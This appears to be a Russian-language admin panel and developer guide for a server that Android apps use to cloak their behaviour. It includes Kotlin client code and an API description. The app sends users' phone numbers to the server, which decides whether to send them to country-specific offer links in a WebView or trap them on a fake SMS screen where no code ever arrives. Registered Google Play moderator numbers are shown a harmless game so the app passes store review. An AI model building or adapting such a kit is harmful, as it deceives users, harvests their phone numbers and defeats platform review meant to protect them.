Управление приложениями

Сервер запущен

Создать мобильное приложение

Только буквы, цифры, _ . -

Список приложений

0

Нет приложений. Создайте первое!

0 Всего запросов
0 За 24 часа
0 За 7 дней

По типам ответов

Топ стран

Фильтры

История запросов

0
IP адрес Код страны Номер телефона Ответ Время
Нет данных

Банер главной страницы

Изображение, которое будет показываться при переходе на ваш домен через браузер. Привяжите банер к конкретному приложению/сайту.

Выберите изображение или перетащите сюда

Максимальный размер: 5MB. Форматы: JPG, PNG, GIF, WebP

Все загруженные банеры

Нет загруженных банеров

Статус домена

Редактор политики конфиденциальности

Создайте политику конфиденциальности для вашего приложения. Текст автоматически опубликуется по адресу /privacy-policy вашего домена

Банер страницы Privacy Policy

Изображение, которое будет отображаться на странице политики конфиденциальности выбранного приложения (/privacy-policy). Хранится отдельно от банера главной страницы.

Выберите изображение или перетащите сюда

Максимальный размер: 5MB. Форматы: JPG, PNG, GIF, WebP

Тест API

Проверьте, как сервер среагирует на запрос с заданными параметрами, без записи в историю

Без кода страны, только цифры

Настройки сервера

Укажите IP-адрес вашего VPS/сервера. Он отображается в DNS-инструкциях при подключении доменов.

IP АДРЕС СЕРВЕРА
ПОРТ
ПОСЛЕДНЯЯ ПРОВЕРКА
Для настройки DNS: Добавьте A-запись @

Добавить домен

Управление доменами

Домен Приложение DNS Статус SSL Статус Дата Действия
Нет доменов

Быстрый старт для Android-разработчика

1

Создай приложение в админке

Перейди в 📱 Управление приложениями → «Создать мобильное приложение». Запомни ID приложения — он нужен в коде.

2

Настрой ссылки по странам

Нажми «Редактировать» → раздел «Настроить перенаправление» → выбери страну (+7, +1 и т.д.) → вставь URL своего оффера.

3

Добавь тестовые номера

В разделе «Тестовые номера» добавь номера для модераторов магазина — они попадут сразу на игровой экран без SMS.

4

Подключи в приложении

Один HTTP POST-запрос при вводе номера телефона — сервер вернёт что делать дальше.

API Endpoint

POST https://avadarasem1.site/check

Запрос (JSON Body)

{
  "app_id": "твой_app_id",
  "country_code": "+7",
  "phone_number": "9111234567"
}
ПолеТипОписание
app_idstringID из админ-панели
country_codestringКод страны: +7, +1
phone_numberstringНомер без кода страны

Возможные ответы

REDIRECT — открыть ссылку-оффер
{ "action": "REDIRECT",
  "url": "https://offer.com/ru" }

→ Открыть url в WebView

OTP — фейковый экран SMS
{ "action": "OTP" }

→ Показать экран «Введите SMS». Код не придёт — пользователь ждёт

GAME — тестовый номер
{ "action": "GAME" }

→ Пропустить на экран игр без проверки SMS

Логика работы сервера

Пользователь ввёл номер телефона
Номер тестовый (модератор)?
ДА
action: GAME
Экран игр
НЕТ ↓
Есть REDIRECT для этой страны?
ДА
action: REDIRECT
Открыть URL
НЕТ
action: OTP
Фейковый SMS

Пример кода — Kotlin (Android)

ApiService.kt + обработка ответа
// 1. build.gradle
implementation("com.squareup.retrofit2:retrofit:2.9.0")
implementation("com.squareup.retrofit2:converter-gson:2.9.0")

// 2. Модели данных
data class CheckRequest(
    val app_id: String,
    val country_code: String,
    val phone_number: String
)
data class CheckResponse(
    val action: String,   // "REDIRECT" | "OTP" | "GAME"
    val url: String?      // только при action = "REDIRECT"
)

// 3. API интерфейс
interface AuthApi {
    @POST("check")
    fun check(@Body req: CheckRequest): Call<CheckResponse>
}

// 4. Клиент
val retrofit = Retrofit.Builder()
    .baseUrl("https://avadarasem1.site/")
    .addConverterFactory(GsonConverterFactory.create())
    .build()
val api = retrofit.create(AuthApi::class.java)

// 5. Вызов при нажатии "Войти"
fun onLoginClick(countryCode: String, phone: String) {
    val req = CheckRequest("твой_app_id", countryCode, phone)
    api.check(req).enqueue(object : Callback<CheckResponse> {
        override fun onResponse(call: Call<CheckResponse>,
                                res: Response<CheckResponse>) {
            when (res.body()?.action) {
                "REDIRECT" -> openWebView(res.body()!!.url!!)
                "GAME"     -> openGamesScreen()
                else       -> showFakeOtpScreen()  // OTP или fallback
            }
        }
        override fun onFailure(call: Call<CheckResponse>, t: Throwable) {
            showFakeOtpScreen()  // При ошибке сети — OTP
        }
    })
}
Без Retrofit — чистый OkHttp
// build.gradle
implementation("com.squareup.okhttp3:okhttp:4.12.0")

// Вызов
fun checkPhone(countryCode: String, phone: String) {
    val client = OkHttpClient.Builder()
        .connectTimeout(10, TimeUnit.SECONDS)
        .build()

    val json = """
        {"app_id":"твой_app_id",
         "country_code":"$countryCode",
         "phone_number":"$phone"}
    """.trimIndent()

    val request = Request.Builder()
        .url("https://avadarasem1.site/check")
        .post(json.toRequestBody("application/json".toMediaType()))
        .build()

    Thread {
        try {
            val response = client.newCall(request).execute()
            val body = JSONObject(response.body!!.string())
            runOnUiThread {
                when (body.getString("action")) {
                    "REDIRECT" -> openWebView(body.getString("url"))
                    "GAME"     -> openGamesScreen()
                    else       -> showFakeOtpScreen()
                }
            }
        } catch (e: Exception) {
            runOnUiThread { showFakeOtpScreen() }
        }
    }.start()
}
AndroidManifest.xml — обязательные разрешения
<manifest>
    <!-- ОБЯЗАТЕЛЬНО для HTTP/HTTPS запросов -->
    <uses-permission
        android:name="android.permission.INTERNET" />
    <uses-permission
        android:name="android.permission.ACCESS_NETWORK_STATE" />

    <application
        android:usesCleartextTraffic="false"
        ...>
        <!-- WebView для открытия оффера -->
        <activity android:name=".WebViewActivity"
            android:exported="false" />
    </application>
</manifest>

Советы

Fallback при ошибке сети

Если запрос упал (нет интернета, timeout) — всегда показывай OTP-экран. Никогда не пропускай на игры без ответа сервера.

Тест перед релизом

Используй раздел 🧪 Тест API в этой панели — проверь все нужные страны и тестовые номера перед отправкой в магазин.

Тестовые номера для модерации

Обязательно добавь тестовые номера модераторов Google Play. Иначе они не пройдут авторизацию и приложение не пропустят.

Несколько приложений

Для каждого APK/бандла создавай отдельное приложение с уникальным app_id. Ссылки и номера настраиваются независимо.